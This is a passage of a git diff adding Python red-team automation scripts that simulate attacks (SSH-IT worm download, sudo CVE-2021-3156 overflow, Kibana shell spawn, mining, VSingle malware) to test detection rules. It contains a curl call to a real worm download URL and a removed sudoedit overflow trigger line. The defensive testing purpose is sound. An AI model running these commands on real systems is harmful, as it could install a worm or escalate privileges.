S_IXOTH); // Create directory with 755 permissions + p = strtok(NULL, "/"); + } + free(dir_path); // Free duplicated string + return 0; +} + +int main(int argc, char *argv[]) { + // Check if filename is provided + if(argc != 2) { + fprintf(stderr, "Usage: %s \n", argv[0]); + exit(EXIT_FAILURE); + } + + // Attempt to create the directories for the file + create_directories(argv[1]); + + // Attempt to create the file + FILE *file = fopen(argv[1], "w"); + if(file == NULL) { + perror("Error creating file"); + exit(EXIT_FAILURE); + } + + // Close the file and exit + fclose(file); + printf("File '%s' created successfully\n", argv[1]); + exit(EXIT_SUCCESS); +} diff --git a/rta/ssh_it_worm.py b/rta/ssh_it_worm.py new file mode 100644 index 000000000..e11dcab4c --- /dev/null +++ b/rta/ssh_it_worm.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="3ad5efdc-c186-4dbd-b5ce-f8d1f102002c", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Potential SSH-IT SSH Worm Downloaded", + "rule_id": "cb351778-7329-4de9-82b5-6705f772a3af", + }, + ], + siem=[], + techniques=["T1021", "T1563"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade = "/tmp/curl" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching fake curl commands to download payload") + common.execute([masquerade, "curl", "https://thc.org/ssh-it/x"], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/sudo_exploit.py b/rta/sudo_exploit.py index 134e5a96c..4f1219001 100644 --- a/rta/sudo_exploit.py +++ b/rta/sudo_exploit.py @@ -3,15 +3,15 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys +from . import RtaMetadata, common metadata = RtaMetadata( uuid="da35cb80-dad9-4995-ac11-6a408843cd12", platforms=["linux", "macos"], endpoint=[ - {"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "95718a3c-edc7-46ef-978b-77891ca6198f"} + {"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "95718a3c-edc7-46ef-978b-77891ca6198f"}, ], siem=[{"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "f37f3054-d40b-49ac-aa9b-a786c74c58b8"}], techniques=["T1068", "T1059"], @@ -19,23 +19,28 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): +def main() -> None: common.log( "Executing command to simulate attempted use of a heap-based buffer overflow vulnerability for the " - "Sudo binary in Unix-like systems(CVE-2021-3156)" + "Sudo binary in Unix-like systems(CVE-2021-3156)", ) # The exploit reproduction is available # https://www.sudo.ws/security/advisories/unescape_overflow/ # https://blog.aquasec.com/cve-2021-3156-sudo-vulnerability-allows-root-privileges + masquerade = "/tmp/sudo" if common.CURRENT_OS == "macos": - masquerade = "/tmp/sudo" common.create_macos_masquerade(masquerade) - common.execute([masquerade, "-s", "sudoedit", "*\\\\"], timeout=10, kill=True) else: - cmd = """sudoedit -s '\\' `perl -e 'print "A" x 65536'`""" - common.execute(f'bash -c "{cmd}"', shell=True) + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + common.log("Launching fake xargs command to execute Sudo Heap-Based Buffer Overflow Attempt") + common.execute([masquerade, "-s", "sudoedit", "*\\\\"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/suspicious_kibana_child.py b/rta/suspicious_kibana_child.py new file mode 100644 index 000000000..6c517fef9 --- /dev/null +++ b/rta/suspicious_kibana_child.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import pathlib +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="5fce12c8-642a-49ad-9a94-e21d23149afb", + platforms=["linux"], + endpoint=[ + { + "rule_id": "0b206183-7f90-461d-80b3-8a147147ae78", + "rule_name": "Suspicious Kibana Child Process", + }, + ], + siem=[], + techniques=["T1190", "T1059", "T1059.004"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade = "/tmp/kibana/node/bin/node" + executable_dir = "/tmp/kibana/node/bin/" + pathlib.Path(executable_dir).mkdir(parents=True, exist_ok=True) + masquerade2 = "/tmp/bash" + # Using the Linux binary that simulates parent-> child process in Linux + source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") + common.copy_file(source, masquerade) + common.copy_file(source, masquerade2) + + # Execute command + common.log("Executing Fake Commands to simulate Shell Command Execution via Kworker") + command = ( + f"{masquerade2} /bin/sh -c lsb_release -a , " + f"/bin/sh -c git rev-parse --short HEAD echo --unhandled-rejections=warn" + ) + common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/suspicious_mining_process.py b/rta/suspicious_mining_process.py new file mode 100644 index 000000000..29856105f --- /dev/null +++ b/rta/suspicious_mining_process.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="425ba45e-10eb-4067-93f4-95701d26da3d", + platforms=["linux"], + endpoint=[{"rule_id": "fbf9342e-3d1e-4fba-a828-92fa0fb4d21b", "rule_name": "Suspicious Mining Process Events"}], + siem=[], + techniques=["T1059", "T1059.004"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/systemctl" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching fake builtin commands for disabling common mining services by name") + command = "start" + command1 = "apache4.service" + common.execute([masquerade, command, command1], timeout=10, kill=True, shell=True) # noqa: S604 + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/vsingle_malware.py b/rta/vsingle_malware.py new file mode 100644 index 000000000..79144628e --- /dev/null +++ b/rta/vsingle_malware.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="900e2180-6eea-47cb-9960-fcd2156d54bd", + platforms=["linux"], + endpoint=[{"rule_id": "fa59e598-8adc-4798-af82-9f878934d975", "rule_name": "Potential VSingle Malware Infection"}], + siem=[], + techniques=["TA0011"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/wget" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching fake builtin commands for vsingle malware infection") + command = "/test/tmp/.sess_fake" + common.execute([masquerade, command], timeout=10, kill=True, shell=True) # noqa: S604 + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/test_mappings.py b/tests/test_mappings.py index cd6529a9c..abdb7a4ec 100644 --- a/tests/test_mappings.py +++ b/tests/test_mappings.py @@ -80,7 +80,7 @@ class TestRTAs(unittest.TestCase): for rta_test in sorted(get_available_tests().values(), key=lambda r: r['name']): self.assertIsNotNone(rta_test.get("uuid"), f'RTA {rta_test.get("name")} missing uuid') - for rule_info in rta_test.get("siem"): + for rule_info in rta_test.get("siem") or []: for rule_key in rule_keys: self.assertIsNotNone(rule_info.get(rule_key), f'RTA {rta_test.get("name")} - {rta_test.get("uuid")} missing {rule_key}')